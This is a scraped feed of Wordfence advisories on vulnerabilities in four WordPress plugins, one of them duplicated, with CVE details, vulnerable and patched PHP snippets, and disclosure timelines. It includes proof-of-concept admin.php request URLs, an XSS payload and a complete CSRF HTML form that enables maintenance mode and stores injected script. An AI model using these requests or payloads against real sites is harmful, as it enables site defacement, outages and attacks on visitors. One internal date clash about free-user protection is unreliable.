Easily Exploitable Vulnerabilities Patched in WP Database Reset Plugin

On January 7th, our Threat Intelligence team discovered vulnerabilities in WP Database Reset, a WordPress plugin installed on over 80,000 websites. One of these flaws allowed any unauthenticated user to reset any table from the database to the initial WordPress set-up state, while the other flaw allowed any authenticated user, even those with minimal permissions, the ability to grant their account administrative privileges while dropping all other users from the table with a simple request.

These are considered critical security issues that can cause complete site reset and/or takeover. We highly recommend updating to the latest version (3.15) immediately. Wordfence Premium users have been protected from these vulnerabilities since January 8th with a custom firewall rule. Wordfence free users will receive the same protection on January 7th.


Description: Unauthenticated Database Reset
Affected Plugin: WP Database Reset
Affected Versions: <= 3.1
CVE ID: CVE-2020-7048
CVSS Score: 9.1 (Critical)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Patched Version: 3.15

WP Database Reset is an easy to use database reset plugin that provides users with the ability to reset any database tables on their site to the same state as a fresh WordPress install. This is handy for administrators doing testing on their website and for administrators who want to start over without requiring a complete WordPress re-installation. This plugin provides a powerful feature that, if left unprotected, could wreak havoc for site owners. Unfortunately, that was exactly what we found in this plugin.

None of the database reset functions in the plugin were securely protected with capability checks or security nonces. Without proper security controls in place, the WP Database Reset plugin contained a serious flaw that allowed any unauthenticated user the ability to reset any table in the database. This reset would result in a complete loss of data availability. An attacker could send a simple request and a site would be completely reset to the WordPress standard defaults.

Vulnerable version of the plugin code:

  
 public function reset( array $tables ) {     
 	      if ( in_array('users', $tables ) ) {
 	        $this->reset_users = true;
 	      }
	 	
 	      $this->validate_selected( $tables );
 	      $this->set_backup();
 	      $this->reinstall();
 	      $this->restore_backup();
 	    }
	 	
 	    private function validate_selected( array $tables ) {
 	      if ( ! empty( $tables ) && is_array( $tables ) ) {
 	        $this->selected = array_flip( $tables );

Revised version of the plugin code with security nonce check and capability check in place:

    public function reset(array $tables)
    {
      if (wp_verify_nonce(@$_REQUEST['submit_reset_form'], 'reset_nounce') && current_user_can('administrator')) {
         // Check if current user is Admin and check the nonce

        if (in_array('users', $tables)) {
          $this->reset_users = true;
        }

        $this->validate_selected($tables);
        $this->set_backup();
        $this->reinstall();
        $this->restore_backup();
      } else {
        throw new Exception(__('Please reload the page and try again. Double check your security code.', 'wordpress-database-reset'));
      }
    }

A WordPress database stores all data that makes up the site including posts, pages, users, site options, comments, and more. With a few simple clicks and a couple of seconds, an unauthenticated user could wipe an entire WordPress installation clean if that installation was using a vulnerable version of this plugin.


Description: Privilege Escalation
Affected Plugin: WP Database Reset
Affected Versions: <= 3.1
CVE ID: CVE-2020-7047
CVSS Score: 8.8 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Patched Version: 3.15

To further escalate the previous vulnerability, any user authenticated as a subscriber and above had the ability to reset the wp_users table. Initially, this doesn’t seem too severe. Dropping all users during a database reset may be problematic, but we can always recreate users, right? Unfortunately, this was more complex. Whenever the wp_users table was reset, it dropped all users from the user table, including any administrators, except for the currently logged-in user. The user sending the request would automatically be escalated to administrator, even if they were only a subscriber. That user would also become the only administrator, thus allowing an attacker to fully take over the WordPress site.

private function update_user_settings() {
 global $wpdb;

 $user_id = $this->reset_users? 1: $this->user->ID;

 $wpdb->query(
   $wpdb->prepare(
    "UPDATE $wpdb->users
     SET user_pass = '%s', user_activation_key = ''
     WHERE ID = '%d'",
     $this->user->user_pass, $user_id
   )
 );

 if ( $this->reset_users ) {
   wp_clear_auth_cookie();
   wp_set_auth_cookie( true );
 }
}

A site owner allowing open registration on a site with a vulnerable version of the WP Database Reset plugin could lose control of their site. Here’s a demonstration of how this exploit would work.


Reminder: Backup Your WordPress Site

This vulnerability serves as an important reminder that maintaining site backups is an incredibly important component to maintaining the security and availability of your site. Some compromises require professional clean up or incident response and forensic investigation. Without backups, even professional remediation wouldn’t be helpful after a compromise like this. Backups can also improve recovery time in the event of a compromise. We recommend that site owners:

  • Backup regularly in intervals. Once a week would be a good place to start.
  • Backup every time a major change is made on the site.
  • Store backups on a server or device separate from WordPress installations. That way the integrity of your backup can be trusted in the event that the site or its server becomes compromised.

Disclosure Timeline

January 7th, 2020 – Vulnerability initially discovered and analyzed.
January 8th, 2020 – Full details disclosed to plugin developer and custom firewall rule released to Wordfence premium users.
January 13th, 2020 – Developer responds and notifies us that a patch will be released the next day.
January 14th, 2020 – Patch released.
January 16th, 2020 – Public disclosure.

Conclusion

In today’s post, we detailed two severe vulnerabilities discovered in the WP Database Reset plugin. These flaws are patched in version 3.15. If you have this plugin installed on your site, we urge you to update immediately.

Sites running Wordfence Premium have been protected from any attacks against these vulnerabilities since January 8th. Free users will receive the same protection on February 7th.

The post Easily Exploitable Vulnerabilities Patched in WP Database Reset Plugin appeared first on Wordfence.

Read More

Easily Exploitable Vulnerabilities Patched in WP Database Reset Plugin

On January 7th, our Threat Intelligence team discovered vulnerabilities in WP Database Reset, a WordPress plugin installed on over 80,000 websites. One of these flaws allowed any unauthenticated user to reset any table from the database to the initial WordPress set-up state, while the other flaw allowed any authenticated user, even those with minimal permissions, the ability to grant their account administrative privileges while dropping all other users from the table with a simple request.

These are considered critical security issues that can cause complete site reset and/or takeover. We highly recommend updating to the latest version (3.15) immediately. Wordfence Premium users have been protected from these vulnerabilities since January 8th with a custom firewall rule. Wordfence free users will receive the same protection on January 7th.


Description: Unauthenticated Database Reset
Affected Plugin: WP Database Reset
Affected Versions: <= 3.1
CVE ID: CVE-2020-7048
CVSS Score: 9.1 (Critical)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Patched Version: 3.15

WP Database Reset is an easy to use database reset plugin that provides users with the ability to reset any database tables on their site to the same state as a fresh WordPress install. This is handy for administrators doing testing on their website and for administrators who want to start over without requiring a complete WordPress re-installation. This plugin provides a powerful feature that, if left unprotected, could wreak havoc for site owners. Unfortunately, that was exactly what we found in this plugin.

None of the database reset functions in the plugin were securely protected with capability checks or security nonces. Without proper security controls in place, the WP Database Reset plugin contained a serious flaw that allowed any unauthenticated user the ability to reset any table in the database. This reset would result in a complete loss of data availability. An attacker could send a simple request and a site would be completely reset to the WordPress standard defaults.

Vulnerable version of the plugin code:

  
 public function reset( array $tables ) {     
 	      if ( in_array('users', $tables ) ) {
 	        $this->reset_users = true;
 	      }
	 	
 	      $this->validate_selected( $tables );
 	      $this->set_backup();
 	      $this->reinstall();
 	      $this->restore_backup();
 	    }
	 	
 	    private function validate_selected( array $tables ) {
 	      if ( ! empty( $tables ) && is_array( $tables ) ) {
 	        $this->selected = array_flip( $tables );

Revised version of the plugin code with security nonce check and capability check in place:

    public function reset(array $tables)
    {
      if (wp_verify_nonce(@$_REQUEST['submit_reset_form'], 'reset_nounce') && current_user_can('administrator')) {
         // Check if current user is Admin and check the nonce

        if (in_array('users', $tables)) {
          $this->reset_users = true;
        }

        $this->validate_selected($tables);
        $this->set_backup();
        $this->reinstall();
        $this->restore_backup();
      } else {
        throw new Exception(__('Please reload the page and try again. Double check your security code.', 'wordpress-database-reset'));
      }
    }

A WordPress database stores all data that makes up the site including posts, pages, users, site options, comments, and more. With a few simple clicks and a couple of seconds, an unauthenticated user could wipe an entire WordPress installation clean if that installation was using a vulnerable version of this plugin.


Description: Privilege Escalation
Affected Plugin: WP Database Reset
Affected Versions: <= 3.1
CVE ID: CVE-2020-7047
CVSS Score: 8.8 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Patched Version: 3.15

To further escalate the previous vulnerability, any user authenticated as a subscriber and above had the ability to reset the wp_users table. Initially, this doesn’t seem too severe. Dropping all users during a database reset may be problematic, but we can always recreate users, right? Unfortunately, this was more complex. Whenever the wp_users table was reset, it dropped all users from the user table, including any administrators, except for the currently logged-in user. The user sending the request would automatically be escalated to administrator, even if they were only a subscriber. That user would also become the only administrator, thus allowing an attacker to fully take over the WordPress site.

private function update_user_settings() {
 global $wpdb;

 $user_id = $this->reset_users? 1: $this->user->ID;

 $wpdb->query(
   $wpdb->prepare(
    "UPDATE $wpdb->users
     SET user_pass = '%s', user_activation_key = ''
     WHERE ID = '%d'",
     $this->user->user_pass, $user_id
   )
 );

 if ( $this->reset_users ) {
   wp_clear_auth_cookie();
   wp_set_auth_cookie( true );
 }
}

A site owner allowing open registration on a site with a vulnerable version of the WP Database Reset plugin could lose control of their site. Here’s a demonstration of how this exploit would work.


Reminder: Backup Your WordPress Site

This vulnerability serves as an important reminder that maintaining site backups is an incredibly important component to maintaining the security and availability of your site. Some compromises require professional clean up or incident response and forensic investigation. Without backups, even professional remediation wouldn’t be helpful after a compromise like this. Backups can also improve recovery time in the event of a compromise. We recommend that site owners:

  • Backup regularly in intervals. Once a week would be a good place to start.
  • Backup every time a major change is made on the site.
  • Store backups on a server or device separate from WordPress installations. That way the integrity of your backup can be trusted in the event that the site or its server becomes compromised.

Disclosure Timeline

January 7th, 2020 – Vulnerability initially discovered and analyzed.
January 8th, 2020 – Full details disclosed to plugin developer and custom firewall rule released to Wordfence premium users.
January 13th, 2020 – Developer responds and notifies us that a patch will be released the next day.
January 14th, 2020 – Patch released.
January 16th, 2020 – Public disclosure.

Conclusion

In today’s post, we detailed two severe vulnerabilities discovered in the WP Database Reset plugin. These flaws are patched in version 3.15. If you have this plugin installed on your site, we urge you to update immediately.

Sites running Wordfence Premium have been protected from any attacks against these vulnerabilities since January 8th. Free users will receive the same protection on February 7th.

The post Easily Exploitable Vulnerabilities Patched in WP Database Reset Plugin appeared first on Wordfence.

Read More

Multiple Vulnerabilities Patched in Minimal Coming Soon & Maintenance Mode – Coming Soon Page Plugin

A few weeks ago, our threat intelligence team discovered several vulnerabilities present in Minimal Coming Soon & Maintenance Mode – Coming Soon Page, a WordPress plugin installed on over 80,000 websites. The most severe weakness allowed for an attacker to exploit Cross Site Request Forgery (CSRF) and enable maintenance mode while injecting cross-site scripting (XSS), in addition to several important settings modifications. We later found additional weaknesses that allowed any authenticated user to enable/disable maintenance mode, export settings, and change maintenance mode themes. 

We privately disclosed the issue to the plugin’s developer, with whom we were already working on a security issue in 301 Redirects – Easy Redirects Manager. As we saw with 301 Redirects, they were quick to acknowledge the report and start working on a patch. 

For the vulnerabilities present in Minimal Coming Soon & Maintenance Mode, Wordfence Premium customers received new firewall rules to protect against exploits; free users will receive these rules after thirty days, on February 2, 2020.


Description: CSRF to Stored XSS and Setting Changes
Affected Plugin: Minimal Coming Soon & Maintenance Mode – Coming Soon Page 
Affected Versions: <= 2.10
CVE ID: CVE-2020-6167
CVSS Score: 9.6 (Critical)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Patched Version: 2.15

Nonce Checks Needed to Validate Setting Changes

The Minimal Coming Soon & Maintenance Mode – Coming Soon Page plugin provides a plethora of features to help customize a site’s maintenance or coming soon page, all of which are accessible in a centralized settings area. 

Unfortunately, this plugin had no nonce checks on any of the settings to verify that a request came from a legitimate source, such as a logged in administrative user. The lack of nonce checks created a CSRF vulnerability, and an attacker could craft a request disguised by a link to trick a site owner into modifying the settings of the plugin.

Vulnerable code snippet:

 } elseif ( isset( $_POST['signals_csmm_submit'] ) ) { {

Revised code snippet with nonce verification:

	  } elseif ( isset( $_POST['signals_csmm_submit'] ) && isset($_POST['csmm_save_nonce']) && wp_verify_nonce($_POST['csmm_save_nonce'], 'csmm_save_settings')) {

The functionality of the settings significantly increases the severity of this vulnerability. In this instance, every setting controlling the plugin’s features could be modified. This included features like inserting custom HTML, enabling maintenance mode, IP whitelisting, general content design, and importing logos. 

An attacker capable of tricking an administrator into clicking on a link with a specially crafted request could create havoc for site owners and their visitors. A malicious link could take the vulnerable site offline by enabling maintenance mode while injecting a malicious javascript into the custom HTML field. That malicious script would then execute when an innocent user browsed the site. This XSS vulnerability could redirect site visitors to malicious websites, infect vulnerable computers, or perform other malicious actions.

XSS exploited in Minimal Coming Soon & Maintenance Mode plugin.

An attacker could also make several additional impactful changes like enabling the “Temporarily Pause Search Engines” setting, hurting a site’s search engine ranking, or including remote files as a “logo” on the site, with little to no restriction on file type. 

This vulnerability is similar to what we saw in another maintenance mode plugin, WP Maintenance, a few weeks ago. Though CSRF is hard to protect against, the Wordfence firewall’s built-in XSS protection protects against any XSS attempts made during a CSRF exploit attempt. Avoid CSRF attacks by not clicking on links or attachments from untrusted sources.


Description: Insecure Permissions: Enable and Disable Maintenance Mode
Affected Plugin: Minimal Coming Soon & Maintenance Mode – Coming Soon Page 
Affected Versions: <= 2.10
CVE ID: CVE-2020-6168
CVSS Score: 7.1 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
Patched Version: 2.15

The Minimal Coming Soon & Maintenance Mode plugin provides users with the capability to enable and disable maintenance mode from the admin bar to make it more convenient for administrators to toggle between the two modes when performing maintenance on a site.

In order to provide this feature, the plugin registers an admin action with an is_admin() check right before the registered action. Unfortunately, it is a common misconception that the is_admin() function verifies that a request is coming from an administrator logged into the admin dashboard. However, is_admin() only checks that the request is being sent to an administrative page. Administrative pages are accessible to any logged in user, not just administrators. 

This created a flaw that allowed any authenticated user with subscriber permissions or above the ability to enable and disable maintenance mode on a vulnerable site by sending a simple request. If an attacker was unable to create a subscriber account on a vulnerable website without open registrations, they could attempt to exploit this using CSRF due to the lack of nonce checks.

Vulnerable code snippet:

class CSMM {
 static function init() {
   if (is_admin()) {
     add_action('admin_action_csmm_change_status', array(__CLASS__, 'change_status'));
   }
<?php
	  if ($signals_csmm_options['status']== '1') {
	    $action_url = add_query_arg(array('action' => 'csmm_change_status', 'new_status' => 'disabled', 'redirect' => urlencode($_SERVER['REQUEST_URI'])), admin_url('admin.php'));
	  } else {
	    $action_url = add_query_arg(array('action' => 'csmm_change_status', 'new_status' => 'enabled', 'redirect' => urlencode($_SERVER['REQUEST_URI'])), admin_url('admin.php'));
	  }

Proof of Concept

In order to exploit this vulnerability, an attacker would login as a user with subscriber or above permissions and send the following request to enable maintenance mode:

/wp-admin/admin.php?action=csmm_change_status&new_status=enabled&redirect=/wp-admin/

Alternatively, a malicious actor could send the following request to disable maintenance mode:

/wp-admin/admin.php?action=csmm_change_status&new_status=disabled&redirect=/wp-admin/

Wordfence Premium customers have already received new firewall rules to protect against these exploits; free users will receive these rules after thirty days, on February 2, 2020.

 


Description: Insecure permissions: Export Settings/Theme Change
Affected Plugin: Minimal Coming Soon & Maintenance Mode – Coming Soon Page 
Affected Versions: <= 2.15
CVE ID: CVE-2020-6166
CVSS Score: 5.4 (Medium)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Patched Version: 2.17

Another set of features provided by the Minimal Coming Soon & Maintenance Mode plugin includes the ability to export settings and change maintenance mode themes. 

As with the previous vulnerability, we see the same error here: is_admin() appears to be the improper permission check used to verify that an action is triggered by an administrative user, when it is just checking that the request is being sent to a page within the administrative dashboard. 

This created a flaw that would allow any user logged in as a subscriber or above to export the plugin settings as a .txt file or modify the theme of the maintenance page on a vulnerable site.

Example of vulnerable code for settings export:

function csmm_plugin_admin_init() {
	  if (!is_admin()) {
	    Return;
}
add_action('admin_action_csmm_export_settings', 'csmm_export_settings');
function csmm_export_settings() {
    $filename = str_replace(array('http://', 'https://'), '', home_url());
    $filename = str_replace(array('/', '\\', '.'), '-', $filename);
    $filename .= '-' . date('Y-m-d') . '-csmm.txt';

    $options = csmm_get_options();
    unset($options['none']);
    $options = apply_filters('csmm_options_pre_export', $options);

    $out = array('type' => 'CSMM', 'version' => csmm_get_plugin_version(), 'data' => $options);
    $out = json_encode($out);

    header('Content-Type: text/plain');
    header('Content-Disposition: attachment; filename=' . $filename);
    header('Expires: 0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');
    header('Content-Length: ' . strlen($out));

    @ob_end_clean();
    flush();

    echo $out;
    exit;
  } // export_settings

Proof of Concept

In order to exploit this vulnerability an attacker would need to login with subscriber or above permissions and send the following request to export the plugin settings:

/wp-admin/admin.php?action=csmm_export_settings&redirect=/wp-admin/

Alternatively, a malicious actor could send the following request to change the theme:

/wp-admin/admin.php?action=csmm_activate_theme&theme=minimal&redirect=/wp-admin/

Wordfence Premium customers have already received new firewall rules to protect against these exploits; free users will receive these rules after thirty days, on February 2, 2020.

Timeline

December 18th, 2019 – Initial contact with developer and notification of CSRF/XSS issues. No rule deployed as our existing XSS rule mitigates the XSS portion of the attack.
December 19th, 2019 – Developer responds and acknowledges issues. 
December 25th, 2019 – Developer releases first patch.
January 3rd, 2020 – Discovery of additional security issues disclosed to plugin developer. New firewall rules released for premium Wordfence users. 
January 7th, 2020 – Developer acknowledges additional vulnerabilities, begins working on additional fixes. 
January 8th, 2020 – Final patch is released. 
February 2nd, 2020 – Free users receive firewall rules.

Conclusion

In today’s post, we detailed several vulnerabilities present in the Minimal Coming Soon & Maintenance Mode – Coming Soon Page plugin, which included one critical vulnerability. Fortunately, the plugin developer was incredibly quick to respond and release a patch for the vulnerable endpoints. These flaws have all been patched in version 2.17 and we urge users to update to the latest available version as soon as possible. 

Sites running Wordfence Premium have been protected from attacks against this vulnerability since January 3, 2020. Sites running the free version of Wordfence will receive the firewall rule update on February 2, 2020 and should update the plugin immediately.

The post Multiple Vulnerabilities Patched in Minimal Coming Soon & Maintenance Mode – Coming Soon Page Plugin appeared first on Wordfence.

Read More

Critical Vulnerability Patched in 301 Redirects – Easy Redirect Manager

Description: Authenticated Arbitrary Redirect Injection and Modification
Affected Plugin: 301 Redirects – Easy Redirect Manager 
Affected Versions: <= 2.40
CVSS Score: 9.0 (Critical)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Patched Version: 2.45

On Friday December 13th, our Threat Intelligence team discovered vulnerabilities present in 301 Redirects – Easy Redirect Manager, a WordPress plugin installed on over 70,000 websites. These weaknesses allowed any authenticated user, even subscribers, to modify, delete, and inject redirect rules that could potentially result in a loss of site availability. We privately disclosed the issue to the plugin’s developer, who was incredibly quick to respond and release a patch.

Though this vulnerability required the attacker to be authenticated, numerous WordPress sites allow for registration as a subscriber. For these sites, exploitation of this vulnerability would be quite simple.

This is considered a critical security issue, and websites running 301 Redirects – Easy Redirect Manager 2.40 or below should be updated to version 2.45 immediately. On the same day we discovered the vulnerability, Wordfence Premium customers received a new firewall rule to protect against exploits; free users will receive the rule after thirty days, on January 12, 2020.

Unprotected AJAX Actions Gone Awry

301 Redirects – Easy Redirect Manager is a simple plugin used to set up 301 redirects on WordPress sites. In order to save new redirects and modify old redirects, the plugin registers several AJAX actions using a seemingly safe is_admin() function to prevent unauthorized access. 

if (is_admin()) {

  // Ajax funcs
  add_action('wp_ajax_eps_redirect_get_new_entry',            array($this, 'ajax_get_entry'));
  add_action('wp_ajax_eps_redirect_delete_entry',             array($this, 'ajax_eps_delete_entry'));
  add_action('wp_ajax_eps_redirect_get_inline_edit_entry',    array($this, 'ajax_get_inline_edit_entry'));
  add_action('wp_ajax_eps_redirect_save',                     array($this, 'ajax_save_redirect'));

Trac: eps-301-redirects.php

However, is_admin() only checks to see if the “dashboard or the administration panel is attempting to be displayed.” As per the WordPress.org Codex, “this function does not verify whether the current user has permission to view the Dashboard or the administration panel.” In addition, the same goes for the admin-ajax function: it only verifies that the request is coming from the administration panel and does not verify any permissions. 

Therefore, due to the lack of capability checks on the AJAX actions, any user authenticated as a subscriber or above can use these AJAX actions to delete redirect entries, create new redirects, and view the form to add or edit inline entries. Because many attackers compromise sites with the hopes of redirecting traffic to spammy or malware-infested sites, this is an attractive and easy method of exploiting a vulnerable site. 

The unprotected AJAX actions are where the vulnerabilities begin; a deeper look found more problems.

Lack of Proper Input Validation

Investigating further, we found that the ID parameter, which is used to create an ID for new rules and identify existing rules, lacked any input validation or sanitization and was later reflected on the page. This led to a reflected XSS vulnerability that could not only be exploited on its own, but also in conjunction with a new redirect injection. Fortunately, the Wordfence firewall’s built-in XSS protection blocks this vulnerability for both our free and premium users. 

XSS being exploited in 301 Redirects – Easy Redirect Manager plugin using <BODY ONLOAD=alert(1)> payload.

Missing CSRF Protection

The vulnerable version of the plugin also failed to use a nonce for any of the AJAX actions that were used to modify and create new rules. This created a CSRF weakness that could be exploited if an attacker could not gain subscriber level privileges. In addition, the attack surface for CSRF to be exploited was much larger due to the lack of permissions checks on the AJAX actions. As such, any user with subscriber or above permissions could be targeted to exploit this vulnerability, creating a more worrisome issue. 

The End Result

Each independent vulnerability was significant. As a group, the vulnerabilities in the 301 Redirects plugin created a significant risk to the WordPress site owner with a vulnerable version installed. An attacker exploiting these weaknesses could create havoc for site visitors who could have been redirected to malicious sites. These sites could have collected credentials via phishing pages or infected vulnerable computers with malware, amongst other things. 

Even if a site did not have subscriber registration open, the CSRF vulnerability might allow a social engineering attack to succeed in injecting new redirects or deleting old ones. 

If one exploit attempt failed, there was another exploit that could possibly succeed. 

Disclosure Timeline

December 13th, 2019 – Initial private contact with developer and notification of security issue. Firewall rule is released to premium members.
December 14th, 2019 – Developer responds.
December 16th, 2019 – Full details sent to developer. 
December 16th, 2019 – Developer acknowledges vulnerabilities and starts working on patches 
December 17th, 2019 – Developer releases patch.   
January 12th, 2020 – Free users receive firewall rule. 

Conclusion

In today’s post, we detailed several vulnerabilities present in the 301 Redirects – Easy Redirect Manager plugin, that led to one very severe issue. Fortunately, the plugin developer was incredibly quick to respond and release a patch for the vulnerable endpoints. These flaws have been patched in version 2.45 and we urge users update to the latest version available as soon as possible. 

Sites running Wordfence Premium have been protected from attacks against this vulnerability since December 13th, 2019. Sites running the free version of Wordfence will receive the firewall rule update on January 12th, 2020 and should update the 301 Redirects plugin immediately.

The post Critical Vulnerability Patched in 301 Redirects – Easy Redirect Manager appeared first on Wordfence.

Read More

High Severity Vulnerability Patched in WP Maintenance Plugin

Description: Cross-Site Request Forgery to Stored Cross-Site Scripting
CVSS v3.0 Score: 8.8 (High)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:H
Affected Plugin: WP Maintenance
Plugin Slug: wp-maintenance
Affected Versions: <= 5.0.5
Patched Version: 5.0.6

On November 15th, 2019, our Threat Intelligence team identified a vulnerability present in WP Maintenance, a WordPress plugin with approximately 30,000+ active installs. This flaw allowed attackers to enable a vulnerable site’s maintenance mode and inject malicious code affecting site visitors. We disclosed this issue privately to the plugin’s developer who released a patch the next day.

Plugin versions of WP Maintenance up to 5.0.5 are vulnerable to attacks against this flaw. All WP Maintenance users should update to version 5.0.6 immediately.

Limited Nonce Protection and Input/Output Sanitation

WP Maintenance provides a maintenance mode to site owners wishing to take their site offline during a maintenance period, with useful features for enabling and customizing a maintenance page. These features include a customizable title, customizable text, a custom maintenance page image, custom css styles, a countdown, font and color choices, etc.

With extensive customizability comes a greater responsibility for security. Unfortunately, without nonce protection and scarce input/output sanitization on values, Cross-Site Request Forgery (CSRF) leading to Cross-Site Scripting (XSS) vulnerabilities were possible in WP Maintenance.

Settings could be edited across 6 tabs: General, Colors & Fonts, Pictures, CountDown, CSS Style, and Settings, all of which were susceptible to a CSRF attack. Additionally, several settings could be injected with malicious code, allowing XSS attacks. Settings could also be manipulated to an attacker’s benefit. For instance, an attacker could enable maintenance mode on a site, causing a loss of availability.

The following code illustrates the lack of nonce verification on setting updates:

 /* Update des paramètres */
if( isset($_POST['action']) &amp;&amp; $_POST['action'] == 'update_general' ) {

    if( isset($_POST["wp_maintenance_social_options"]['reset']) &amp;&amp; $_POST["wp_maintenance_social_options"]['reset'] ==1 ) {
        unset($_POST["wp_maintenance_social"]);
        $_POST["wp_maintenance_social"] = '';
    }
    update_option('wp_maintenance_social', $_POST["wp_maintenance_social"]);
    update_option('wp_maintenance_social_options', $_POST["wp_maintenance_social_options"]);
    update_option('wp_maintenance_active', $_POST["wp_maintenance_active"]);
    
    $options_saved = wpm_update_settings($_POST["wp_maintenance_settings"]);

    $messageUpdate = 1;
}

>

A Closer Look at the Exploit

Although all of the settings in this plugin could be changed as a result of this CSRF vulnerability, the “General” settings tab had the most potential impact. This tab is where maintenance mode could be enabled and custom text and title options could be configured.

General settings tab for WP Maintenance.

With no input sanitization, the “Enable Newsletter” feature allowed an attacker to inject malicious code, creating a stored XSS vulnerability that could be exploited by taking advantage of the CSRF vulnerability.

The newsletter title is displayed on the maintenance page without output sanitization, meaning any malicious code set in the newsletter block by an attacker would be executed by a visitor’s browser when in maintenance mode.

Enable newsletter setting from dashboard.

Because an attacker could also enable maintenance mode on a single setting update, these vulnerabilities combined could lead to a site being taken offline and, for example, used to redirect visitors to a malicious site.

Example of what a site would look like if exploited by this vulnerability.

Proof of Concept

&lt;html&gt;
  &lt;body&gt;
   &lt;form action="http://URL/wp-admin/admin.php?page=wp-maintenance" method="POST"&gt;
      &lt;input type="hidden" name="action" value="update_general" /&gt;
      &lt;input type="hidden" name="wp_maintenance_active" value="1" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[titre_maintenance]" value="EVIL ATTACKER!" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[text_maintenance]" value="Come back quickly!" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[text_bt_maintenance]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[add_wplogin]" value="0" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[add_wplogin_title]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[enable_seo]" value="0" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[seo_title]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[seo_description]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[favicon]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[code_analytics]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[domain_analytics]" value="URL" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[enable]" value="0" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[texte]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[facebook]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[twitter]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[linkedin]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[flickr]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[youtube]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[pinterest]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[vimeo]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[instagram]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[google_plus]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[about_me]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[soundcloud]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[skype]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[tumblr]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[blogger]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social[paypal]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[size]" value="32" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[style]" value="style1" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[position]" value="bottom" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[align]" value="center" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[theme]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_social_options[reset]" value="0" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[newletter]" value="1" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[title_newletter]" value="&lt;script&gt;alert("YOU'VE BEEN HACKED!")&lt;/script&gt;" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[type_newletter]" value="shortcode" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[code_newletter]" value="" /&gt;
      &lt;input type="hidden" name="wp_maintenance_settings[iframe_newletter]" value="" /&gt;
      &lt;input type="hidden" name="submit" value="Save Changes" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;

CSRF & Security Awareness

This vulnerability offers a good time to remind ourselves of the importance to stay vigilant to all input from users on our sites, as CSRF exploits are difficult to protect against. A CSRF, or Cross Site Request Forgery vulnerability “is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated.” This means that CSRF vulnerabilities can only be exploited when someone with administrative capability performs an action set up by an attacker. For example, clicking on a link while currently authenticated to a web application like WordPress.

A common example to consider is receiving a comment on your WordPress blog containing a link. Clicking the link in the comment to see what the commenter is referring to could lead to exploitation of a vulnerability. Instead of that link taking you to the site you think you may be visiting, it could send a request to update your WordPress website plugin settings on your behalf.

Stay vigilant when clicking links or attachments in comments or even in emails because it is possible that someone is trying to exploit the human weakness on your site: you. We recommend not visiting any links from an untrusted source because malicious content could be on the other side of that link – even on the other end of a URL shortened link.

If you absolutely must visit and don’t have a virtual machine to protect you from infection, ensure you have antivirus on your machine, then copy the link, make sure you are logged out of all sites, open an incognito window, paste the link in the incognito browser, then visit the site. This can help protect against CSRF vulnerabilities.

As shown in this post, a CSRF has the potential to severely affect your site, it’s availability and your users, and this vulnerability can be easily avoided through security awareness.

Wordfence Protection

